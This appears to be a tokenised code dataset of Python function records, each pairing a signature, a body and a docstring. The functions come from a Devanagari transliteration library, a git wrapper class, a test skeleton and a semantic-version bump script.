block name.\n        TypeError: swapTable is not a dict", "id": "f8767:c2:m0"}
{"signature": "def _setupParseTree(self, rowFrom, rowTo, colIndex, tree):", "body": "if colIndex == self._longestEntry:<EOL><INDENT>return<EOL><DEDENT>prevchar = None<EOL>rowIndex = rowFrom<EOL>while rowIndex <= rowTo:<EOL><INDENT>if colIndex < len(self._parsedata[rowIndex]):<EOL><INDENT>c = self._parsedata[rowIndex][colIndex]<EOL>if c != prevchar:<EOL><INDENT>tree[c] = {}<EOL>if  prevchar is not None:<EOL><INDENT>self._setupParseTree(rowFrom, rowIndex - <NUM_LIT:1>, colIndex + <NUM_LIT:1>, tree[prevchar])<EOL><DEDENT>rowFrom = rowIndex<EOL>prevchar = c<EOL><DEDENT>if rowIndex == rowTo:<EOL><INDENT>self._setupParseTree(rowFrom, rowIndex, colIndex + <NUM_LIT:1>, tree[prevchar])<EOL><DEDENT><DEDENT>rowIndex = rowIndex + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Build the search tree for multi-character encodings.", "id": "f8767:c2:m2"}
{"signature": "def _transliterate (self, text, outFormat):", "body": "result = []<EOL>text = self._preprocess(text)<EOL>i = <NUM_LIT:0><EOL>while i < len(text):<EOL><INDENT>if text[i].isspace(): <EOL><INDENT>result.append(text[i])<EOL>i = i+<NUM_LIT:1><EOL><DEDENT>else: <EOL><INDENT>chr = self._getNextChar(text, i)<EOL>try:<EOL><INDENT>result.append(self[chr].chr)<EOL><DEDENT>except KeyError:<EOL><INDENT>result.append(_unrecognised(chr))<EOL><DEDENT>i = i + len(chr)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Transliterate the text to Unicode.", "id": "f8767:c2:m6"}
{"signature": "def __init__(self, unicodeHexValue, block):", "body": "self.isVowel = False<EOL>if unicodeHexValue in DevanagariCharacter._vowelRange:<EOL><INDENT>self.isVowel = True<EOL><DEDENT>self._dependentVowel = None<EOL>if unicodeHexValue in DevanagariCharacter._depVowelRange:<EOL><INDENT>vowel = block[chr(unicodeHexValue - DevanagariCharacter._vowelOffset)]<EOL>vowel._setDependentVowel(unicodeHexValue)<EOL>raise (ValueError) <EOL><DEDENT>TLCharacter.__init__(self, unicodeHexValue, block)<EOL>self.isConsonant = False<EOL>if self.isVowel == Falseand self.chr.isalpha()and self.unicodeHexValue not in (DevanagariCharacter._AVAGRAHA,<EOL>DevanagariCharacter._OM):<EOL><INDENT>self.isConsonant = True<EOL><DEDENT>", "docstring": "Create an object representing a Devanagari character.\n\n        Extends TLCharacter.__init__ to distinguish Devanagari standalone\n        vowels, dependent vowels and consonants.\n\n        Raises \n        ValueError -- for characters in the Devanagari dependent vowel range.\n                      We want these as variants of the corresponding standalone \n                      vowels, not as separate characters.", "id": "f8767:c3:m0"}
{"signature": "def _transliterate(self, text, outFormat):", "body": "def getResult(): <EOL><INDENT>if curMatch.isspace():<EOL><INDENT>result.append(curMatch)<EOL>return<EOL><DEDENT>if prevMatch in self:<EOL><INDENT>prev = self[prevMatch]<EOL><DEDENT>else:<EOL><INDENT>prev = None<EOL><DEDENT>if nextMatch in self:<EOL><INDENT>next = self[nextMatch]<EOL><DEDENT>else:<EOL><INDENT>next = None<EOL><DEDENT>try:<EOL><INDENT>equiv = outFormat._equivalent(self[curMatch], <EOL>prev, <EOL>next, <EOL>self._implicitA)<EOL><DEDENT>except KeyError:<EOL><INDENT>equiv = _unrecognised(curMatch)<EOL><DEDENT>for e in equiv:<EOL><INDENT>result.append(e)<EOL><DEDENT><DEDENT>def incr(c):<EOL><INDENT>if self._longestEntry == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>return len(c)<EOL><DEDENT>result = []<EOL>text = self._preprocess(text)<EOL>i = <NUM_LIT:0><EOL>prevMatch = None<EOL>nextMatch = None<EOL>curMatch = self._getNextChar(text, i)<EOL>i = i + len(curMatch)<EOL>while i < len(text):<EOL><INDENT>nextMatch = self._getNextChar(text, i)<EOL>getResult()<EOL>i = i + len(nextMatch)<EOL>prevMatch = curMatch<EOL>curMatch = nextMatch<EOL>nextMatch = None<EOL><DEDENT>getResult() <EOL>return result<EOL>", "docstring": "Transliterate a devanagari text into the target format.\n\n        Transliterating a character to or from Devanagari is not a simple \n        lookup: it depends on the preceding and following characters.", "id": "f8767:c4:m0"}
{"signature": "def __init__(self, name, charRange):", "body": "CharacterBlock.__init__(self, name, charRange, DevanagariCharacter)<EOL>self._implicitA = True<EOL>", "docstring": "Set up the Devanagari character block.\n\n        Extends CharacterBlock.__init__ by specifiying that the characters\n        created should be instances of DevanagariCharacter.", "id": "f8767:c5:m0"}
{"signature": "def _transliterate(self, text, outFormat):", "body": "return _Devanagari._transliterate(self, text, outFormat)<EOL>", "docstring": "Need to specify which superclass _transliterate() to call.", "id": "f8767:c5:m1"}
{"signature": "def _equivalent(self, char, prev, next, implicitA):", "body": "result = []<EOL>if char.isVowel == False:<EOL><INDENT>result.append(char.chr)<EOL>if char.isConsonantand ((next is not None and next.isConsonant)or next is None): <EOL><INDENT>result.append(DevanagariCharacter._VIRAMA)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if prev is None or prev.isConsonant == False:<EOL><INDENT>result.append(char.chr)<EOL><DEDENT>else:<EOL><INDENT>if char._dependentVowel is not None:<EOL><INDENT>result.append(char._dependentVowel)<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Transliterate a Latin character equivalent to Devanagari.\n\n        Add VIRAMA for ligatures.\n        Convert standalone to dependent vowels.", "id": "f8767:c5:m2"}
{"signature": "def __init__(self, blockName, schemeName, data, swapTable=None):", "body": "TransliterationScheme.__init__(self, blockName, schemeName, data, swapTable)<EOL>self._implicitA = False<EOL>", "docstring": "Set up a Devanagari transliteration scheme.\n\n        Extends TransliterationScheme.__init__", "id": "f8767:c6:m0"}
{"signature": "def _transliterate(self, text, outFormat):", "body": "return _Devanagari._transliterate(self, text, outFormat)<EOL>", "docstring": "Need to specify which superclass _transliterate() to call.", "id": "f8767:c6:m1"}
{"signature": "def _equivalent(self, char, prev, next, implicitA):", "body": "implicitA = False  <EOL>result = []<EOL>if char.chr != DevanagariCharacter._VIRAMA:<EOL><INDENT>result.append(char.equivalents[self.name])<EOL><DEDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if implicitA and char.isConsonantand ((next is not Noneand next.chr != DevanagariCharacter._VIRAMAand not next.isVowel)or next is None):<EOL><INDENT>result.append(characterBlocks['<STR_LIT>'][DevanagariCharacter._LETTER_A].equivalents[self.name])<EOL><DEDENT>return result<EOL>", "docstring": "Transliterate a Devanagari character to Latin.\n\n        Add implicit As unless overridden by VIRAMA.", "id": "f8767:c6:m2"}
{"signature": "def resetOptions():", "body": "global options<EOL>defaultOptions = {<EOL>'<STR_LIT>' : '<STR_LIT:utf-8>',  <EOL>'<STR_LIT>' : '<STR_LIT:utf-8>', <EOL>'<STR_LIT>' : '<STR_LIT:?>', <EOL>'<STR_LIT>' : UNRECOGNISED_ECHO,   <EOL>'<STR_LIT>' : False,   <EOL>}<EOL>options = defaultOptions.copy()<EOL>", "docstring": "Reset options to their default values.", "id": "f8768:m0"}
{"signature": "def _unrecognised(chr):", "body": "if options['<STR_LIT>'] == UNRECOGNISED_ECHO:<EOL><INDENT>return chr<EOL><DEDENT>elif options['<STR_LIT>'] == UNRECOGNISED_SUBSTITUTE:<EOL><INDENT>return options['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise (KeyError, chr)<EOL><DEDENT>", "docstring": "Handle unrecognised characters.", "id": "f8768:m1"}
{"signature": "def transliterate(text, inFormat, outFormat, requestOptions={}):", "body": "def asciiEncode(chr):<EOL><INDENT>value = ord(chr)<EOL>if value > <NUM_LIT:255>:<EOL><INDENT>return '<STR_LIT>' % (value)<EOL><DEDENT>return chr<EOL><DEDENT>try:<EOL><INDENT>options.update(requestOptions)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>basestring = (str, bytes)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>def findFormat(fmt):<EOL><INDENT>if isinstance(fmt, basestring):<EOL><INDENT>try:<EOL><INDENT>fmt = _names[fmt.upper()]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise (ValueError, '<STR_LIT>' + fmt)<EOL><DEDENT><DEDENT>return fmt<EOL><DEDENT>inFormat = findFormat(inFormat)<EOL>outFormat = findFormat(outFormat)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>if not isinstance(text, basestring): <EOL><INDENT>raise (TypeError, \"<STR_LIT>\")<EOL><DEDENT>def getBlock(format):<EOL><INDENT>if isinstance(format, CharacterBlock):<EOL><INDENT>return format<EOL><DEDENT>else:<EOL><INDENT>return format.block<EOL><DEDENT><DEDENT>inBlock = getBlock(inFormat)<EOL>outBlock = getBlock(outFormat)<EOL>if not inBlock is outBlock:<EOL><INDENT>raise (ValueError, \"<STR_LIT>\")<EOL><DEDENT>if inFormat is outFormat:<EOL><INDENT>if inFormat._longestEntry == <NUM_LIT:1>:<EOL><INDENT>[inFormat[c] for c in set(text) if not c.isspace()] <EOL>return text<EOL><DEDENT><DEDENT>\"\"\"<STR_LIT>\"\"\"<EOL>result = inFormat._transliterate(text, outFormat)<EOL>if options['<STR_LIT>']:<EOL><INDENT>result = [asciiEncode(c) for c in result]<EOL><DEDENT>return u'<STR_LIT>'.join(result).encode(options['<STR_LIT>'])<EOL><DEDENT>finally:<EOL><INDENT>resetOptions()<EOL><DEDENT>", "docstring": "Transliterate a text.\n\n    Keyword arguments:\n    text -- a unicode string containing the text to be transliterated\n    inFormat -- the \"from\" CharacterBlock or TransliterationScheme, or its name\n    outFormat -- the target CharacterBlock or TransliterationScheme, or its name\n    requestOptions -- optional dict containing option settings that override the\n                      defaults for this request.\n\n    Returns a unicode object containing the text transliterated into the\n    target character set.\n\n    Raises:\n    ValueError -- unrecognised input or output format.\n    KeyError -- a character in text is not a member of inFormat, or has no\n    corresponding character defined in outFormat.", "id": "f8768:m2"}
{"signature": "def main(argv=None):", "body": "print (transliterate('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>try:    <EOL><INDENT>text, inFormat, outFormat = argv[<NUM_LIT:1>:<NUM_LIT:4>]<EOL><DEDENT>except ValueError:<EOL><INDENT>print (main.__doc__)<EOL>return <NUM_LIT:2><EOL><DEDENT>inFormat = inFormat.upper()<EOL>outFormat = outFormat.upper()<EOL>try:<EOL><INDENT>f = open(text)<EOL><DEDENT>except IOError:<EOL><INDENT>print (transliterate(text, inFormat, outFormat))<EOL>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>i = <NUM_LIT:1><EOL>for text in f.readlines():<EOL><INDENT>if len(text) > <NUM_LIT:0> and not text.startswith('<STR_LIT:#>'):<EOL><INDENT>print (transliterate(text, inFormat, outFormat).strip('<STR_LIT:\\n>'))<EOL><DEDENT>i = i + <NUM_LIT:1><EOL><DEDENT>f.close()<EOL>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Call transliterator from a command line.\n\n    python transliterator.py text inputFormat outputFormat\n\n    ... writes the transliterated text to stdout\n\n    text -- the text to be transliterated OR the name of a file containing the text\n    inputFormat -- the name of the character block or transliteration scheme that\n                   the text is to be transliterated FROM, e.g. 'CYRILLIC', 'IAST'.\n                   Not case-sensitive\n    outputFormat -- the name of the character block or transliteration scheme that\n                   the text is to be transliterated TO, e.g. 'CYRILLIC', 'IAST'.\n                   Not case-sensitive", "id": "f8768:m3"}
{"signature": "def __init__(self, unicodeHexValue, block):", "body": "if unicodeHexValue < <NUM_LIT:0> or unicodeHexValue > <NUM_LIT>:<EOL><INDENT>raise (ValueError, \"<STR_LIT>\")<EOL><DEDENT>self.unicodeHexValue = unicodeHexValue<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>self.chr = chr(self.unicodeHexValue)<EOL>self.name = unicodedata.name(self.chr)<EOL>self.equivalents = {}<EOL>self._block = block<EOL>", "docstring": "Set up a unicode character.\n\n        Arguments:\n        unicodeHexValue -- an integer that should correspond to a \n                           Unicode code point.\n        block -- the CharacterBlock this character belongs to.\n\n        Raises:\n        ValueError -- if unicodeHexValue is not a valid code point.", "id": "f8768:c0:m0"}
{"signature": "def addEquivalent(self, equivName, equivalent):", "body": "self.equivalents[equivName] = equivalent<EOL>", "docstring": "Add an equivalent for the character.\n\n        Arguments:\n        equivName -- the name of a TransliterationScheme\n        equivalent -- string/unicode equivalent in the named\n                      TransliterationScheme for this code point.", "id": "f8768:c0:m1"}
{"signature": "def __init__(self, name, charRange, charClass=TLCharacter):", "body": "\"\"\"<STR_LIT>\"\"\"<EOL>charRange.sort()<EOL>for c in charRange:<EOL><INDENT>try:<EOL><INDENT>tlchar = charClass(c, self)<EOL>self[tlchar.chr] = tlchar<EOL><DEDENT>except ValueError: <EOL><INDENT>pass<EOL><DEDENT><DEDENT>self._longestEntry = <NUM_LIT:1><EOL>self.name = name<EOL>self.transliterationSchemes = {}<EOL>self._register()<EOL>", "docstring": "Set up a character block corresponding to a range of code points.\n\n        Keyword arguments:\n        name -- a string containing the name of the character block.\n                (should normally use a standard Unicode character block name)\n        range -- a list of code points. Reserved code points are ignored.\n        charClass -- the class to be used to create the characters.\n                     Should be a subclass of TLCharacter.", "id": "f8768:c1:m0"}
{"signature": "def _transliterate (self, text, outFormat):", "body": "result = []<EOL>for c in text:<EOL><INDENT>if c.isspace(): result.append(c)<EOL>try: <EOL><INDENT>result.append(self[c].equivalents[outFormat.name])<EOL><DEDENT>except KeyError:<EOL><INDENT>result.append(_unrecognised(c))<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Transliterate the text to the target transliteration scheme.", "id": "f8768:c1:m2"}
{"signature": "def _preprocess(self, text):", "body": "return text<EOL>", "docstring": "Make our signature compatible with TransliterationScheme.", "id": "f8768:c1:m3"}
{"signature": "def __init__(self, blockName, schemeName, data, swapTable=None):", "body": "self.block = characterBlocks[blockName]<EOL>self.name = schemeName<EOL>for equiv, unicodeHexValue in data.items():<EOL><INDENT>self[equiv] = self.block[chr(unicodeHexValue)]<EOL>self[equiv].addEquivalent(self.name, equiv)<EOL><DEDENT>self._longestEntry = max([len(e) for e in data.keys()])<EOL>if self._longestEntry > <NUM_LIT:1>:<EOL><INDENT>self._parseTree = {}<EOL>self._parsedata = list(data.keys())<EOL>self._parsedata.sort()<EOL>self._setupParseTree(<NUM_LIT:0>, len(data) - <NUM_LIT:1>, <NUM_LIT:0>, self._parseTree)<EOL><DEDENT>if swapTable is not None:<EOL><INDENT>if not isinstance(swapTable, dict): raise (TypeError)<EOL><DEDENT>self.swapTable = swapTable<EOL>self._register()<EOL>", "docstring": "Set up a transliteration scheme.\n\n        Keyword arguments:\n        blockName -- a string containg the name of the character block this \n                     transliteration scheme is used for, \n                     e.g. 'CYRILLIC', 'DEVANAGARI'.\n        schemeName -- the name of the transliteration scheme. \n                      Must be unique.\n        data -- a dict containing the data for the transliteration scheme. \n                Keys are transliterated Unicode characters or strings.\n                Values are integers corresponding to Unicode code points.\n                For examples, see the data for the built-in transliteration\n                schemes.\n        swapTable -- a dict (default None) containing any non-standard\n                     letter combinations used in the transliteration scheme\n                     that we want to pre-process away before transliterating.\n                     See the ITRANS data for examples.\n\n        Raises:\n        KeyError: unknown block name.\n        TypeError: swapTable is not a dict", "id": "f8768:c2:m0"}
{"signature": "def _setupParseTree(self, rowFrom, rowTo, colIndex, tree):", "body": "if colIndex == self._longestEntry:<EOL><INDENT>return<EOL><DEDENT>prevchar = None<EOL>rowIndex = rowFrom<EOL>while rowIndex <= rowTo:<EOL><INDENT>if colIndex < len(self._parsedata[rowIndex]):<EOL><INDENT>c = self._parsedata[rowIndex][colIndex]<EOL>if c != prevchar:<EOL><INDENT>tree[c] = {}<EOL>if  prevchar is not None:<EOL><INDENT>self._setupParseTree(rowFrom, rowIndex - <NUM_LIT:1>, colIndex + <NUM_LIT:1>, tree[prevchar])<EOL><DEDENT>rowFrom = rowIndex<EOL>prevchar = c<EOL><DEDENT>if rowIndex == rowTo:<EOL><INDENT>self._setupParseTree(rowFrom, rowIndex, colIndex + <NUM_LIT:1>, tree[prevchar])<EOL><DEDENT><DEDENT>rowIndex = rowIndex + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Build the search tree for multi-character encodings.", "id": "f8768:c2:m2"}
{"signature": "def _transliterate (self, text, outFormat):", "body": "result = []<EOL>text = self._preprocess(text)<EOL>i = <NUM_LIT:0><EOL>while i < len(text):<EOL><INDENT>if text[i].isspace(): <EOL><INDENT>result.append(text[i])<EOL>i = i+<NUM_LIT:1><EOL><DEDENT>else: <EOL><INDENT>chr = self._getNextChar(text, i)<EOL>try:<EOL><INDENT>result.append(self[chr].chr)<EOL><DEDENT>except KeyError:<EOL><INDENT>result.append(_unrecognised(chr))<EOL><DEDENT>i = i + len(chr)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Transliterate the text to Unicode.", "id": "f8768:c2:m6"}
{"signature": "def __init__(self, unicodeHexValue, block):", "body": "self.isVowel = False<EOL>if unicodeHexValue in DevanagariCharacter._vowelRange:<EOL><INDENT>self.isVowel = True<EOL><DEDENT>self._dependentVowel = None<EOL>if unicodeHexValue in DevanagariCharacter._depVowelRange:<EOL><INDENT>vowel = block[chr(unicodeHexValue - DevanagariCharacter._vowelOffset)]<EOL>vowel._setDependentVowel(unicodeHexValue)<EOL>raise (ValueError) <EOL><DEDENT>TLCharacter.__init__(self, unicodeHexValue, block)<EOL>self.isConsonant = False<EOL>if self.isVowel == Falseand self.chr.isalpha()and self.unicodeHexValue not in (DevanagariCharacter._AVAGRAHA,<EOL>DevanagariCharacter._OM):<EOL><INDENT>self.isConsonant = True<EOL><DEDENT>", "docstring": "Create an object representing a Devanagari character.\n\n        Extends TLCharacter.__init__ to distinguish Devanagari standalone\n        vowels, dependent vowels and consonants.\n\n        Raises \n        ValueError -- for characters in the Devanagari dependent vowel range.\n                      We want these as variants of the corresponding standalone \n                      vowels, not as separate characters.", "id": "f8768:c3:m0"}
{"signature": "def _transliterate(self, text, outFormat):", "body": "def getResult(): <EOL><INDENT>if curMatch.isspace():<EOL><INDENT>result.append(curMatch)<EOL>return<EOL><DEDENT>if prevMatch in self:<EOL><INDENT>prev = self[prevMatch]<EOL><DEDENT>else:<EOL><INDENT>prev = None<EOL><DEDENT>if nextMatch in self:<EOL><INDENT>next = self[nextMatch]<EOL><DEDENT>else:<EOL><INDENT>next = None<EOL><DEDENT>try:<EOL><INDENT>equiv = outFormat._equivalent(self[curMatch], <EOL>prev, <EOL>next, <EOL>self._implicitA)<EOL><DEDENT>except KeyError:<EOL><INDENT>equiv = _unrecognised(curMatch)<EOL><DEDENT>for e in equiv:<EOL><INDENT>result.append(e)<EOL><DEDENT><DEDENT>def incr(c):<EOL><INDENT>if self._longestEntry == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>return len(c)<EOL><DEDENT>result = []<EOL>text = self._preprocess(text)<EOL>i = <NUM_LIT:0><EOL>prevMatch = None<EOL>nextMatch = None<EOL>curMatch = self._getNextChar(text, i)<EOL>i = i + len(curMatch)<EOL>while i < len(text):<EOL><INDENT>nextMatch = self._getNextChar(text, i)<EOL>getResult()<EOL>i = i + len(nextMatch)<EOL>prevMatch = curMatch<EOL>curMatch = nextMatch<EOL>nextMatch = None<EOL><DEDENT>getResult() <EOL>return result<EOL>", "docstring": "Transliterate a devanagari text into the target format.\n\n        Transliterating a character to or from Devanagari is not a simple \n        lookup: it depends on the preceding and following characters.", "id": "f8768:c4:m0"}
{"signature": "def __init__(self, name, charRange):", "body": "CharacterBlock.__init__(self, name, charRange, DevanagariCharacter)<EOL>self._implicitA = True<EOL>", "docstring": "Set up the Devanagari character block.\n\n        Extends CharacterBlock.__init__ by specifiying that the characters\n        created should be instances of DevanagariCharacter.", "id": "f8768:c5:m0"}
{"signature": "def _transliterate(self, text, outFormat):", "body": "return _Devanagari._transliterate(self, text, outFormat)<EOL>", "docstring": "Need to specify which superclass _transliterate() to call.", "id": "f8768:c5:m1"}
{"signature": "def _equivalent(self, char, prev, next, implicitA):", "body": "result = []<EOL>if char.isVowel == False:<EOL><INDENT>result.append(char.chr)<EOL>if char.isConsonantand ((next is not None and next.isConsonant)or next is None): <EOL><INDENT>result.append(DevanagariCharacter._VIRAMA)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if prev is None or prev.isConsonant == False:<EOL><INDENT>result.append(char.chr)<EOL><DEDENT>else:<EOL><INDENT>if char._dependentVowel is not None:<EOL><INDENT>result.append(char._dependentVowel)<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Transliterate a Latin character equivalent to Devanagari.\n\n        Add VIRAMA for ligatures.\n        Convert standalone to dependent vowels.", "id": "f8768:c5:m2"}
{"signature": "def __init__(self, blockName, schemeName, data, swapTable=None):", "body": "TransliterationScheme.__init__(self, blockName, schemeName, data, swapTable)<EOL>self._implicitA = False<EOL>", "docstring": "Set up a Devanagari transliteration scheme.\n\n        Extends TransliterationScheme.__init__", "id": "f8768:c6:m0"}
{"signature": "def _transliterate(self, text, outFormat):", "body": "return _Devanagari._transliterate(self, text, outFormat)<EOL>", "docstring": "Need to specify which superclass _transliterate() to call.", "id": "f8768:c6:m1"}
{"signature": "def _equivalent(self, char, prev, next, implicitA):", "body": "implicitA = False  <EOL>result = []<EOL>if char.chr != DevanagariCharacter._VIRAMA:<EOL><INDENT>result.append(char.equivalents[self.name])<EOL><DEDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if implicitA and char.isConsonantand ((next is not Noneand next.chr != DevanagariCharacter._VIRAMAand not next.isVowel)or next is None):<EOL><INDENT>result.append(characterBlocks['<STR_LIT>'][DevanagariCharacter._LETTER_A].equivalents[self.name])<EOL><DEDENT>return result<EOL>", "docstring": "Transliterate a Devanagari character to Latin.\n\n        Add implicit As unless overridden by VIRAMA.", "id": "f8768:c6:m2"}
{"signature": "def remove(self, path):", "body": "self._git.rm('<STR_LIT>', path)<EOL>", "docstring": "Removes a path with force", "id": "f8774:c0:m3"}
{"signature": "def add_forced(self, path):", "body": "self._git.add('<STR_LIT>', path)<EOL>", "docstring": "Adds a path with force", "id": "f8774:c0:m4"}
{"signature": "def commit(self, message, *args):", "body": "self._git.commit('<STR_LIT>', message, *args)<EOL>", "docstring": "Commits", "id": "f8774:c0:m5"}
{"signature": "def add_remote_origin(self, url):", "body": "self._git.remote('<STR_LIT>', '<STR_LIT>', url)<EOL>", "docstring": "Adds the remote origin", "id": "f8774:c0:m6"}
{"signature": "def push_master(self):", "body": "self._git.push('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Pushes to master", "id": "f8774:c0:m7"}
{"signature": "def push_force_master(self):", "body": "self._git.push('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Pushes to master", "id": "f8774:c0:m8"}
{"signature": "def push_force_branch(self, branch):", "body": "self._git.push('<STR_LIT>', branch, '<STR_LIT>')<EOL>", "docstring": "Pushes to master", "id": "f8774:c0:m9"}
{"signature": "def branch_upstream_to_master(self):", "body": "self._git.branch('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Branches upstream to master", "id": "f8774:c0:m10"}
{"signature": "def get_branches(self):", "body": "return [self._sanitize(branch)<EOL>for branch in self._git.branch(color=\"<STR_LIT>\").splitlines()]<EOL>", "docstring": "Returns a list of the branches", "id": "f8774:c0:m11"}
{"signature": "def get_current_branch(self):", "body": "return next((self._sanitize(branch)<EOL>for branch in self._git.branch(color=\"<STR_LIT>\").splitlines()<EOL>if branch.startswith('<STR_LIT:*>')),<EOL>None)<EOL>", "docstring": "Returns the currently active branch", "id": "f8774:c0:m13"}
{"signature": "def create_branch(self, name):", "body": "self._git.branch(name)<EOL>", "docstring": "Creates a branch", "id": "f8774:c0:m14"}
{"signature": "def remove_branch(self, name):", "body": "self._git.branch('<STR_LIT>', name)<EOL>", "docstring": "Removes a branch", "id": "f8774:c0:m15"}
{"signature": "def switch_branch(self, name):", "body": "self._git.checkout(name)<EOL>", "docstring": "Switches to a branch", "id": "f8774:c0:m16"}
{"signature": "def list_tags(self):", "body": "return self._git.tag()<EOL>", "docstring": "Lists existing tags", "id": "f8774:c0:m17"}
{"signature": "def add_tag(self, value):", "body": "self._git.tag(value)<EOL>", "docstring": "Tag with provided value", "id": "f8774:c0:m18"}
{"signature": "def delete_tag(self, value):", "body": "self._git.tag('<STR_LIT>', value)<EOL>", "docstring": "Delete the tag provided", "id": "f8774:c0:m19"}
{"signature": "def create_patch(self, from_tag, to_tag):", "body": "return str(self._git.diff('<STR_LIT>'.format(from_tag, to_tag), _tty_out=False))<EOL>", "docstring": "Create a patch between tags", "id": "f8774:c0:m20"}
{"signature": "def setUp(self):", "body": "pass<EOL>", "docstring": "Test set up\n\nThis is where you can setup things that you use throughout the tests. This method is called before every test.", "id": "f8776:c0:m0"}
{"signature": "def tearDown(self):", "body": "pass<EOL>", "docstring": "Test tear down\n\nThis is where you should tear down what you've setup in setUp before. This method is called after every test.", "id": "f8776:c0:m1"}
{"signature": "def get_arguments():", "body": "<EOL>parser = argparse.ArgumentParser(<EOL>description='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>dest='<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>default='<STR_LIT>',<EOL>choices=['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'])<EOL>parser.add_argument('<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False)<EOL>parser.add_argument('<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False)<EOL>parser.add_argument('<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False)<EOL>parser.add_argument('<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>dest='<STR_LIT:version>',<EOL>action='<STR_LIT:store>',<EOL>default=False)<EOL>args = parser.parse_args()<EOL>return args<EOL>", "docstring": "This get us the cli arguments.\n\nReturns the args as parsed from the argsparser.", "id": "f8777:m0"}
{"signature": "def setup_logging(args):", "body": "handler = logging.StreamHandler()<EOL>handler.setLevel(args.log_level)<EOL>formatter = logging.Formatter(('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'))<EOL>handler.setFormatter(formatter)<EOL>LOGGER.addHandler(handler)<EOL>", "docstring": "This sets up the logging.\n\nNeeds the args to get the log level supplied\n:param args: The command line arguments", "id": "f8777:m1"}
{"signature": "def main():", "body": "args = get_arguments()<EOL>setup_logging(args)<EOL>version_path = os.path.abspath(os.path.join(<EOL>os.path.dirname(__file__),<EOL>'<STR_LIT:..>',<EOL>'<STR_LIT:..>',<EOL>'<STR_LIT>'<EOL>))<EOL>try:<EOL><INDENT>version_text = open(version_path).read().strip()<EOL><DEDENT>except Exception:<EOL><INDENT>print('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>semver.parse(version_text)<EOL><DEDENT>except ValueError:<EOL><INDENT>print(('<STR_LIT>'<EOL>'<STR_LIT>').format(version_text))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>new_version = version_text<EOL>if args.version:<EOL><INDENT>try:<EOL><INDENT>if semver.parse(args.version):<EOL><INDENT>new_version = args.version<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>print('<STR_LIT>'.format(args.version))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>elif args.bump_major:<EOL><INDENT>new_version = semver.bump_major(version_text)<EOL><DEDENT>elif args.bump_minor:<EOL><INDENT>new_version = semver.bump_minor(version_text)<EOL><DEDENT>elif args.bump_patch:<EOL><INDENT>new_version = semver.bump_patch(version_text)<EOL><DEDENT>try:<EOL><INDENT>with open(version_path, '<STR_LIT:w>') as version_file:<EOL><INDENT>version_file.write(new_version)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>print('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>print(new_version)<EOL>", "docstring": "Main method.\n\nThis method holds what you want to execute when\nthe script is run on command line.", "id": "f8777:m2"}
{"signature": "def parse(version):", "body": "match = _REGEX.match(version)<EOL>if match is None:<EOL><INDENT>raise ValueError('<STR_LIT>' % version)<EOL><DEDENT>verinfo = match.groupdict()<EOL>verinfo['<STR_LIT>'] = int(verinfo['<STR_LIT>'])<EOL>verinfo['<STR_LIT>'] = int(verinfo['<STR_LIT>'])<EOL>verinfo['<STR_LIT>'] = int(verinfo['<STR_LIT>'])<EOL>return verinfo<EOL>", "docstring": "Parse version to major, minor, patch, pre-release, build parts.", "id": "f8779:m0"}
